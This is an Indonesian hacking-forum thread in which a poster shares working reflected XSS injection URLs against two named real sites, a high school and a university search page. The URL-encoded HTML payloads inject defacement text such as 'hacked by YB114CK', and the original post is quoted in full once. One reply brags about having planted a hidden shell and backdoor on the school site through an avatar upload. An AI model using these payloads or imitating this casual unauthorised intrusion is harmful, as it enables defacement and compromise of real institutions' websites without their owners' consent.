BUG xss Di http://sman1lmj.sch.id web

XSS, bug ini bisa dibilang gak berbahaya, cuma bisa berbahaya klo ada yang expert tau kelemahan site ini, ini site juga milik kita bersama, so saya cuman sharing ke temen2
apa itu xss?

script yang berjalan di browser klien, itu tok yang aku tw hiks, cupu nie....
dengan memasukkan tag html dibelakang mod= makan akan jadi seperti ini:
klik untuk liat

http://sman1lmj.sch.id/?mod=%3Ch1%3Exss%20test%20by%20Uyab114ck%3C/h1%3E%3Cbr%3E%20%3Ch1%3Esalam%20buat%20alumni%202005%3C/h1%3E%3Cbr%3E%20%3Ch1%3Eilove%20u%20puul%3C/h1%3E%3Cbr%3E%3Cmarquee%3E%3Ch1%3Euyab114ck%3C/h1%3E%3C/marquee%3E


ini satu lagi

http://que.ee.ui.ac.id/search.php?keyword=%3Cfont%20face=%22verdana%22%20size=%2220%22%20color=%22yellow%22%3E%3Cmarquee%3Ehacked%20by%20YB114CK%3C/marquee%3E%3C/font%3E%3Cbr%3E%3Cfont%20face=%20%22arial%22%20size=%2210%22%3Esalam%20buat%20temen2%2020005%20smasa%20kikiki%20ahhh%20dolann%20ahhh%20pengen%20muleh%20nang%20majang%20iki%20hihihihi%20ayo%20rek%20lapo%20iki%3C/font%3E

uyab114ck wrote:

XSS, bug ini bisa dibilang gak berbahaya, cuma bisa berbahaya klo ada yang expert tau kelemahan site ini, ini site juga milik kita bersama, so saya cuman sharing ke temen2
apa itu xss?

script yang berjalan di browser klien, itu tok yang aku tw hiks, cupu nie....
dengan memasukkan tag html dibelakang mod= makan akan jadi seperti ini:
klik untuk liat

http://sman1lmj.sch.id/?mod=%3Ch1%3Exss%20test%20by%20Uyab114ck%3C/h1%3E%3Cbr%3E%20%3Ch1%3Esalam%20buat%20alumni%202005%3C/h1%3E%3Cbr%3E%20%3Ch1%3Eilove%20u%20puul%3C/h1%3E%3Cbr%3E%3Cmarquee%3E%3Ch1%3Euyab114ck%3C/h1%3E%3C/marquee%3E


ini satu lagi

http://que.ee.ui.ac.id/search.php?keyword=%3Cfont%20face=%22verdana%22%20size=%2220%22%20color=%22yellow%22%3E%3Cmarquee%3Ehacked%20by%20YB114CK%3C/marquee%3E%3C/font%3E%3Cbr%3E%3Cfont%20face=%20%22arial%22%20size=%2210%22%3Esalam%20buat%20temen2%2020005%20smasa%20kikiki%20ahhh%20dolann%20ahhh%20pengen%20muleh%20nang%20majang%20iki%20hihihihi%20ayo%20rek%20lapo%20iki%3C/font%3E

Hehehehehe.. Nice post
Sayang sekarang adminya dah delete backdoorq http://sman1lmj.sch.id <<< sekarang lumayan udah banyak penambahan securitynya.. Kalo dulu gag ada sharing buat upload avatarnya.. akhirnya.. hidden shell masuk dah.. BTW nice post, keep it up... thank's for sharing.. D tunggu buat post yang lainnya..

iya kagak keurus web itu...
adminnya tidur kalik. hehehe

Makan gaji buta tuch.... wkwkwkwkwkwkwkw..

Mantabs arek2 iki, ngomongane Bugs2...
Bugs Bunny Yo... hehehe lol!:

tenang ae nes, siapa yg mo deface http://sman1lmj.sch.id,
harus hadapi mayat jones dulu... hahaha

Wkwkwkwkwkwk... Aduh ayas gag tau gni"an ah gan...

Bug..Bug..Bug...
Serangga..Serangga..Serangga...
Ha..ha..ha...
q gag ngertii....
ha..ha..ha,,

semut.. laler
lha katanya master roby gitu aku cumu ikud2